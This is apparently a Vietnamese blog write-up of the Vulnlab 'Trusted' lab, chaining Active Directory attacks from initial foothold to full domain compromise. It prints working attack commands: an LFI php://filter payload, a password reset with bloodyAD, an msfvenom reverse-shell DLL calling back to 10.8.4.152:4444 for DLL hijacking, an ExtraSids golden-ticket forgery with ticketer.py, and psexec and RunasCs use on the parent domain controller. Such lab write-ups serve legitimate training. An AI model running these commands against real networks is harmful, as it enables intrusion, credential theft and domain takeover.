Post

Vulnlab - Trusted

Đây sẽ là write-up về 1 chain đến từ Vulnlab tên là Trusted, TLDR chain này sẽ bao gồm LFI dẫn đến credential cho mysql database cho ta dump được hết user và hash, user mà crack được sẽ cho ta quyền đổi mật khẩu cho 1 user khác. Từ đây, để đi tiếp ta sẽ cần thực hiện DLL hijacking, chiếm được child domain, ta sẽ cần tấn công trust domain sử dụng golden ticket (extrasids). Phía dưới đây sẽ là write-up chi tiết.

Initial Access

Bắt đầu với 2 IP lab cho (do mình phải reset vài lần vì đường truyền nên sẽ đôi chỗ IP sẽ không khớp, chỉ cần hiểu IP có số cuối lớn hơn sẽ là child domain, và nhỏ hơn là parent), ta có kết quả nmap như sau:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
Nmap scan report for 10.10.248.5
Host is up (0.32s latency).
Not shown: 989 closed tcp ports (conn-refused)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-12-08 09:01:01Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: trusted.vl0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3269/tcp open  tcpwrapped
3389/tcp open  ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2024-12-08T09:01:37+00:00; -1s from scanner time.
| ssl-cert: Subject: commonName=trusteddc.trusted.vl

Nmap scan report for 10.10.248.6
Host is up (0.32s latency).
Not shown: 987 closed tcp ports (conn-refused)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Apache httpd 2.4.53 ((Win64) OpenSSL/1.1.1n PHP/8.1.6)
|_http-server-header: Apache/2.4.53 (Win64) OpenSSL/1.1.1n PHP/8.1.6
| http-title: Welcome to XAMPP
|_Requested resource was http://10.10.248.6/dashboard/
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-12-08 09:01:00Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: trusted.vl0., Site: Default-First-Site-Name)
443/tcp  open  ssl/http      Apache httpd 2.4.53 ((Win64) OpenSSL/1.1.1n PHP/8.1.6)
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after:  2019-11-08T23:48:47
| http-title: Welcome to XAMPP
|_Requested resource was https://10.10.248.6/dashboard/
|_http-server-header: Apache/2.4.53 (Win64) OpenSSL/1.1.1n PHP/8.1.6
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3306/tcp open  mysql         MySQL 5.5.5-10.4.24-MariaDB
| mysql-info: 
|   Protocol: 10
|   Version: 5.5.5-10.4.24-MariaDB
|   Thread ID: 11
|   Capabilities flags: 63486
|   Some Capabilities: Support41Auth, InteractiveClient, FoundRows, SupportsTransactions, DontAllowDatabaseTableColumn, IgnoreSigpipes, ODBCClient, Speaks41ProtocolOld, Speaks41ProtocolNew, SupportsLoadDataLocal, LongColumnFlag, IgnoreSpaceBeforeParenthesis, SupportsCompression, ConnectWithDatabase, SupportsMultipleResults, SupportsMultipleStatments, SupportsAuthPlugins
|   Status: Autocommit
|   Salt: Mz@n+('+AF{Y,k[ehZk+
|_  Auth Plugin Name: mysql_native_password
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info: 
|   Target_Name: LAB
|   NetBIOS_Domain_Name: LAB
|   NetBIOS_Computer_Name: LABDC
|   DNS_Domain_Name: lab.trusted.vl
|   DNS_Computer_Name: labdc.lab.trusted.vl
|   DNS_Tree_Name: trusted.vl

Ta sẽ thử Null access vào SMB trước

1
2
3
4
nxc smb 10.10.248.6 -u '' -p '' --shares             
SMB         10.10.248.6   445    LABDC            [*] Windows Server 2022 Build 20348 x64 (name:LABDC) (domain:lab.trusted.vl) (signing:True) (SMBv1:False)
SMB         10.10.248.6   445    LABDC            [+] lab.trusted.vl\: 
SMB         10.10.248.6   445    LABDC            [-] Error enumerating shares: STATUS_ACCESS_DENIED

Do có web mở ra ở child domain và đây là 1 host Windows sử dụng XAMPP

image

Sử dụng ffuf để tìm entrypoints

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
.hta                    [Status: 403, Size: 302, Words: 22, Lines: 10, Duration: 318ms]
.htaccess               [Status: 403, Size: 302, Words: 22, Lines: 10, Duration: 320ms]
.htpasswd               [Status: 403, Size: 302, Words: 22, Lines: 10, Duration: 321ms]
                        [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 319ms]
aux                     [Status: 403, Size: 302, Words: 22, Lines: 10, Duration: 341ms]
cgi-bin/                [Status: 403, Size: 302, Words: 22, Lines: 10, Duration: 324ms]
com3                    [Status: 403, Size: 302, Words: 22, Lines: 10, Duration: 320ms]
com2                    [Status: 403, Size: 302, Words: 22, Lines: 10, Duration: 320ms]
com1                    [Status: 403, Size: 302, Words: 22, Lines: 10, Duration: 352ms]
con                     [Status: 403, Size: 302, Words: 22, Lines: 10, Duration: 316ms]
dashboard               [Status: 301, Size: 342, Words: 22, Lines: 10, Duration: 316ms]
dev                     [Status: 301, Size: 336, Words: 22, Lines: 10, Duration: 318ms]
favicon.ico             [Status: 200, Size: 30894, Words: 412, Lines: 6, Duration: 320ms]
img                     [Status: 301, Size: 336, Words: 22, Lines: 10, Duration: 318ms]
index.php               [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 320ms]
licenses                [Status: 403, Size: 421, Words: 37, Lines: 12, Duration: 321ms]
lpt1                    [Status: 403, Size: 302, Words: 22, Lines: 10, Duration: 316ms]
lpt2                    [Status: 403, Size: 302, Words: 22, Lines: 10, Duration: 320ms]
nul                     [Status: 403, Size: 302, Words: 22, Lines: 10, Duration: 333ms]
phpmyadmin              [Status: 403, Size: 302, Words: 22, Lines: 10, Duration: 317ms]
prn                     [Status: 403, Size: 302, Words: 22, Lines: 10, Duration: 319ms]
server-info             [Status: 403, Size: 421, Words: 37, Lines: 12, Duration: 316ms]
server-status           [Status: 403, Size: 421, Words: 37, Lines: 12, Duration: 317ms]
webalizer               [Status: 403, Size: 302, Words: 22, Lines: 10, Duration: 316ms]

Ta có thể thấy đường dẫn dev, đi vào ta sẽ được một hệ thống trang web.

image

Test một hồi, ta sẽ thấy trang web này bị lỗi Local File Inclusion ở GET param view

image

Đến đây, theo phản xạ thì mình sẽ tìm đọc file kết nối đến database, ở đây sử dụng ffuf tiếp ta cũng sẽ có thể tìm được ra file đó

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
ffuf -u http://10.10.193.214/dev/FUZZ.php -w /usr/share/wordlists/dirb/common.txt

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.193.214/dev/FUZZ.php
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/common.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

.hta                    [Status: 403, Size: 302, Words: 22, Lines: 10, Duration: 328ms]
.htpasswd               [Status: 403, Size: 302, Words: 22, Lines: 10, Duration: 328ms]
.htaccess               [Status: 403, Size: 302, Words: 22, Lines: 10, Duration: 329ms]
aux                     [Status: 403, Size: 302, Words: 22, Lines: 10, Duration: 317ms]
com2                    [Status: 403, Size: 302, Words: 22, Lines: 10, Duration: 315ms]
com3                    [Status: 403, Size: 302, Words: 22, Lines: 10, Duration: 316ms]
com1                    [Status: 403, Size: 302, Words: 22, Lines: 10, Duration: 317ms]
con                     [Status: 403, Size: 302, Words: 22, Lines: 10, Duration: 321ms]
db                      [Status: 200, Size: 22, Words: 2, Lines: 1, Duration: 345ms]
DB                      [Status: 200, Size: 22, Words: 2, Lines: 1, Duration: 345ms]
lpt2                    [Status: 403, Size: 302, Words: 22, Lines: 10, Duration: 318ms]
lpt1                    [Status: 403, Size: 302, Words: 22, Lines: 10, Duration: 318ms]
nul                     [Status: 403, Size: 302, Words: 22, Lines: 10, Duration: 317ms]
prn                     [Status: 403, Size: 302, Words: 22, Lines: 10, Duration: 317ms]
:: Progress: [4614/4614] :: Job [1/1] :: 125 req/sec :: Duration: [0:00:37] :: Errors: 0 ::

image

Đến đây, ta sẽ thử dùng php filter để base64 nội dung file đi vì nếu include thẳng như trên thì web sẽ load nội dung đó và trả về cho ta kết quả của code thay vì là nội dung của nó. (php://filter/convert.base64-encode/resource=C:/xampp/htdocs/dev/db.php đường dẫn này nếu như ai đã từng dùng XAMPP rồi thì sẽ nghĩ ra được ngay)

image

Và đúng như mong đợi, khi decode lại ta sẽ có được thứ ta muốn

image

Tua nhanh đoạn này một chút, sau khi có cred cho database, ta có thể kết nối tới mysql ở IP của child domain và enum tiếp, được hash của các user, xong rồi crack

1
2
3
4
5
6
7
+----+------------+--------------+-----------+----------------------------------+
| id | first_name | short_handle | last_name | password                         |
+----+------------+--------------+-----------+----------------------------------+
|  1 | Robert     | rsmith       | Smith     | 7e7abb54bb<REDACTED>7b368def7 	|
|  2 | Eric       | ewalters     | Walters   | d6e81aeb4d<REDACTED>02f11043e0ad |
|  3 | Christine  | cpowers      | Powers    | e3d3eb0f46<REDACTED>d11d54045a60 |
+----+------------+--------------+-----------+----------------------------------+

Cuối cùng ta sẽ có được user rsmith sau khi crack thành công MD5 hash của user này

1
7e7abb54bb<REDACTED>3007b368def7:I********2

Để confirm credential này ở child domain, mình sẽ sử dụng netexec như dưới đây

1
2
3
4
5
6
7
8
9
10
11
12
nxc smb 10.10.193.214 -u 'rsmith' -p 'I********2' --shares

SMB         10.10.193.214   445    LABDC            [*] Windows Server 2022 Build 20348 x64 (name:LABDC) (domain:lab.trusted.vl) (signing:True) (SMBv1:False)
SMB         10.10.193.214   445    LABDC            [+] lab.trusted.vl\rsmith:IHateEric2 
SMB         10.10.193.214   445    LABDC            [*] Enumerated shares
SMB         10.10.193.214   445    LABDC            Share           Permissions     Remark
SMB         10.10.193.214   445    LABDC            -----           -----------     ------
SMB         10.10.193.214   445    LABDC            ADMIN$                          Remote Admin                                                                                            
SMB         10.10.193.214   445    LABDC            C$                              Default share                                                                                           
SMB         10.10.193.214   445    LABDC            IPC$            READ            Remote IPC
SMB         10.10.193.214   445    LABDC            NETLOGON        READ            Logon server share                                                                                      
SMB         10.10.193.214   445    LABDC            SYSVOL          READ            Logon server share

Latteral Movement

Đến đây rồi, ta có thể dùng Bloodhound để xem các user, group, quyền hạn để hình dung dễ hơn rsmith có thể làm gì tiếp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
╭─dwgth4i@kali in ~/vulnlab/trusted 
 ╰─λ rusthound -d lab.trusted.vl -u rsmith -p I********2 -n 10.10.193.214 --dns-tcp -f lab.trusted.vl -z
---------------------------------------------------
Initializing RustHound at 05:01:44 on 12/09/24
Powered by g0h4n from OpenCyber
---------------------------------------------------

[2024-12-09T13:01:44Z INFO  rusthound] Verbosity level: Info
[2024-12-09T13:01:45Z INFO  rusthound::ldap] Connected to LAB.TRUSTED.VL Active Directory!
[2024-12-09T13:01:45Z INFO  rusthound::ldap] Starting data collection...
[2024-12-09T13:01:47Z INFO  rusthound::ldap] All data collected for NamingContext DC=lab,DC=trusted,DC=vl
[2024-12-09T13:01:47Z INFO  rusthound::json::parser] Starting the LDAP objects parsing...
[2024-12-09T13:01:47Z INFO  rusthound::json::parser::bh_41] MachineAccountQuota: 10
[2024-12-09T13:01:47Z INFO  rusthound::json::parser] Parsing LDAP objects finished!
[2024-12-09T13:01:47Z INFO  rusthound::json::checker] Starting checker to replace some values...
[2024-12-09T13:01:47Z INFO  rusthound::json::checker] Checking and replacing some values finished!
[2024-12-09T13:01:47Z INFO  rusthound::json::maker] 8 users parsed!
[2024-12-09T13:01:47Z INFO  rusthound::json::maker] 55 groups parsed!
[2024-12-09T13:01:47Z INFO  rusthound::json::maker] 1 computers parsed!
[2024-12-09T13:01:47Z INFO  rusthound::json::maker] 5 ous parsed!
[2024-12-09T13:01:47Z INFO  rusthound::json::maker] 1 domains parsed!
[2024-12-09T13:01:47Z INFO  rusthound::json::maker] 2 gpos parsed!
[2024-12-09T13:01:47Z INFO  rusthound::json::maker] 21 containers parsed!
[2024-12-09T13:01:47Z INFO  rusthound::json::maker] .//20241209050147_lab-trusted-vl_rusthound.zip created!

RustHound Enumeration Completed at 05:01:47 on 12/09/24! Happy Graphing!

Và ta chỉ có đúng một ACE đối với user ewalters

image

Đến đây có rất nhiều cách để đổi mật khẩu, nhưng mình sẽ sử dụng bloodyAD

1
bloodyAD -u 'rsmith' -p 'I********2' -d 'lab.trusted.vl' --host 10.10.160.70 set password 'ewalters' 'password123!'

User này không có quyền gì thú vị ngoài việc có khả năng RDP và WINRM được vào DC của child domain.

image

Privilege Escalation

Đến đây, sau một thời gian khá lâu để enum thì không có gì ngoài việc ở ngoài folder C:\, ta có 1 mục AVTest khá lạ, bên trong ta sẽ có 1 file readme và 1 file PE32 (thật ra còn có flag troll ở desktop user ewalters nữa nhưng mà mình sẽ không nói đến :v)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
*Evil-WinRM* PS C:\AVTest> ls


    Directory: C:\AVTest


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         9/14/2022   4:46 PM        4870584 KasperskyRemovalTool.exe
-a----         9/14/2022   7:05 PM            235 readme.txt


*Evil-WinRM* PS C:\AVTest> cat readme.txt
Since none of the AV Tools we tried here in the lab satisfied our needs it's time to clean them up.
I asked Christine to run them a few times, just to be sure.

Let's just hope we don't have to set this lab up again because of this.

Ở đây ta biết được có vẻ như user Christine sẽ chạy file PE32 này một vài lần, nên đây có lẽ là vector khả dĩ nhất để ta có thể đi xa hơn, mình sẽ download file PE32 đó về máy ảo của mình để phân tích. Do check thử CVE liên quan nhưng cũng không có vẻ khả quan lắm nên đành tự kiểm tra. Ở đây mình dùng máy Win 10, chuyển file PE32 sang và cùng với Procmon, sau vài bước lược bớt thì mình sẽ phân tích tiếp với filter như sau:

Screenshot 2024-12-09 161626

Sau khi xem một hồi ta sẽ thấy trong cùng folder với file PE32 này (bỏ qua hết các DLL gọi từ C:\Windows\System32 hay tương tự), ta thấy nó sẽ gọi đến vài file DLL mà không hề tồn tại, kết hợp với việc ta có quyền ghi vào cùng folder với file PE32 này ở bên phía machine child domain, ta có thể thử DLL hijacking.

Screenshot 2024-12-09 161129

Ta có thể tạo ra một file DLL với msfvenom với một trong những cái tên như sau:

1
2
3
4
5
6
7
8
USERENV.dll
RICHED20.DLL
KasperskyRemovalToolENU.dll
msls31.dll
USP10.dll
TextShaping.dll
Wldp.dll
msi.dll

Và ở đây mình sẽ dùng KasperskyRemovalToolENU.dll

1
msfvenom -p windows/shell_reverse_tcp LHOST=10.8.4.152 LPORT=4444 -f dll > KasperskyRemovalToolENU.dll

Giờ chỉ việc chuyển file dll này sang máy child domain ở folder C:\AVTest ngồi chờ thôi, và sau gần một phút, ta sẽ có được một cái shell trả về

Screenshot 2024-12-09 162935

Giờ ta sẽ ở context là user c.powers hay chính là Christine Powers, quay về kiểm tra bloodhound, ta sẽ biết được user này thuộc group Domain Admins. Đến đây coi như xong child domain, để đi tiếp, do ngay từ đầu ta đã thấy được 2 IP này là 2 domain hoàn toàn khác nhau, và dựa vào 2 cái tên là lab.trusted.localtrusted.local ta biết được ta đã chiếm được child domain, và giờ ta sẽ enum trust giữa 2 domain này với PowerView.

Screenshot 2024-12-09 171150

Trust Attack

Và với kết quả như trên, ta biết được giữa 2 domain này là Bidirectional, có nghĩa là cả 2 domain này đều được trust bởi nhau và vì vậy mà user đến từ cả 2 domain này đều có thể access được resource ở bên còn lại. Đến đây, ta sẽ cần hiểu hơn về sidHistory một chút, lí do là ta sẽ cần hiểu về cách mà ExtraSids attack hoạt động. Còn nói nôm na thì ta sẽ tạo ra một Golden Ticket từ krbtgt từ child domain và sử dụng SID của Enterprise Admins ở bên parent domain để sau đó ta có thể access vào DC ở parent domain như thành viên ở Enterprise Admins. Mình sẽ dùng ticketer, mục đích chỉ đơn giản là tạo ra Golden Ticket, ta đã chiếm được child domain rồi nên Mimikatz hay Rubeus cũng đều thoải mái cả, lab này không yêu cầu stealthy.

1
2
3
4
5
ticketer.py -nthash c7a03c565c6<REDACTED>fab576ebd -domain lab.trusted.vl -domain-sid S-1-5-21-2241985869-2159962460-1278545866 -extra-sid S-1-5-21-3576695518-347000760-3731839591-519 Administrator

c7a03c565c6<REDACTED>fab576ebd: Đây sẽ là NT hash của krbtgt mà ta có được ở child domain
S-1-5-21-2241985869-2159962460-1278545866: Đây là domain SID của child domain
S-1-5-21-3576695518-347000760-3731839591-519: Đây sẽ là SID của group của parent domain (ở đây là root domain luôn) và ta sẽ tìm ra để thêm 519 ở cuối để có được SID cho group Enterprise Admins

Tham khảo thêm về SID ở đây

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
ticketer.py -nthash c7a03c565c6<REDACTED>fab576ebd -domain lab.trusted.vl -domain-sid S-1-5-21-2241985869-2159962460-1278545866 -extra-sid S-1-5-21-3576695518-347000760-3731839591-519 Administrator
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for lab.trusted.vl/Administrator
[*]     PAC_LOGON_INFO
[*]     PAC_CLIENT_INFO_TYPE
[*]     EncTicketPart
[*]     EncAsRepPart
[*] Signing/Encrypting final ticket
[*]     PAC_SERVER_CHECKSUM
[*]     PAC_PRIVSVR_CHECKSUM
[*]     EncTicketPart
[*]     EncASRepPart
[*] Saving ticket in Administrator.ccache

export KRB5CCNAME=$PWD/Administrator.ccache

Giờ ta có thể sử dụng ticket này như Enterprise Admin, đến đây mình sẽ psexec vào DC root domain để đọc flag cuối

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
psexec.py lab.trusted.vl/Administrator@trusteddc.trusted.vl -k -no-pass -target-ip 10.10.193.213
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Requesting shares on 10.10.193.213.....
[*] Found writable share ADMIN$
[*] Uploading file yiOEnQra.exe
[*] Opening SVCManager on 10.10.193.213.....
[*] Creating service CLNJ on 10.10.193.213.....
[*] Starting service CLNJ.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.20348.887]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32> cd C:\Users\Administrator\Desktop 
 
C:\Users\Administrator\Desktop> dir
 Volume in drive C has no label.
 Volume Serial Number is 18DF-F3CB

Directory of C:\Users\Administrator\Desktop

09/19/2022  04:01 PM    <DIR>          .
12/09/2024  11:34 AM    <DIR>          ..
09/14/2022  09:31 AM                36 root.txt
               1 File(s)             36 bytes
               2 Dir(s)  17,308,872,704 bytes free

C:\Users\Administrator\Desktop>type root.txt
Access is denied.

C:\Users\Administrator\Desktop> whoami
nt authority\system

Như có thể thấy ở đây, tuy ta đã là SYSTEM ở DC nhưng mà vẫn không đọc được file này, lí do là đây là một file bị EFS encrypt, do đã từng gặp trường hợp tương tự trước đây chơi ở bên HackTheBox, hình như là box Flight hay RE gì gì đó. Nói chung là đây là 1 cơ chế mã hóa của Windows, mỗi file như này khi được mã hóa thì sẽ có những user nhất định có khả năng đọc được, ta có thể biết được sử dụng cmdlet cipher

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
C:\Users\Administrator\Desktop> cipher /c root.txt
 
 Listing C:\Users\Administrator\Desktop\
 New files added to this directory will be encrypted.

E root.txt
  Compatibility Level:
    Windows XP/Server 2003

  Users who can decrypt:
    TRUSTED\Administrator [Administrator(Administrator@TRUSTED)]
    Certificate thumbprint: FFA5 6CDD 0797 CFD7 AA58 C004 2368 67D3 1B75 1553 

  Recovery Certificates:
    TRUSTED\Administrator [administrator(administrator@TRUSTED)]
    Certificate thumbprint: 1FB2 6DE1 F581 0571 F3DD 879B F1D5 B72C B481 C6DA 

  Key information cannot be retrieved.

The specified file could not be decrypted.

Trong output trên, ta biết được user Administrator@TRUSTED tức là domain admin của root domain, do ta là SYSTEM của machine, nên ta có thể đổi mật khẩu của domain admin này và vào đọc như bình thường.

1
2
C:\Users\Administrator\Desktop> net users Administrator password123! /domain
The command completed successfully.

Thật ra là đến đây vẫn chưa đọc được nếu như ta sử dụng Evil-Winrm đơn giản vì session của evil-winrm sẽ dính double hop problem, theo mình là thế, vì vậy nên mình dùng RunAsCS luôn để đọc flag cho nhanh

1
*Evil-WinRM* PS C:\Users\Public\Desktop> Import-Module .\Invoke-RunasCs.ps1; Invoke-RunasCs Administrator "password123!" "cmd.exe /c type C:\users\administrator\desktop\root.txt"

The End

Đến đây là xong, một chain cũng khá là dài và vướng nhiều thứ, write-up thì có thể trông dễ như vậy nhưng thật sự lúc làm nhất là đoạn double hop, do lâu không gặp nên mình thật sự quên luôn cách để mà xử lý, cuối cùng phải dùng cách khác để lấy Enterprise Admins SID, một chain khá hay và cover được nhiều thứ.

This post is licensed under CC BY 4.0 by the author.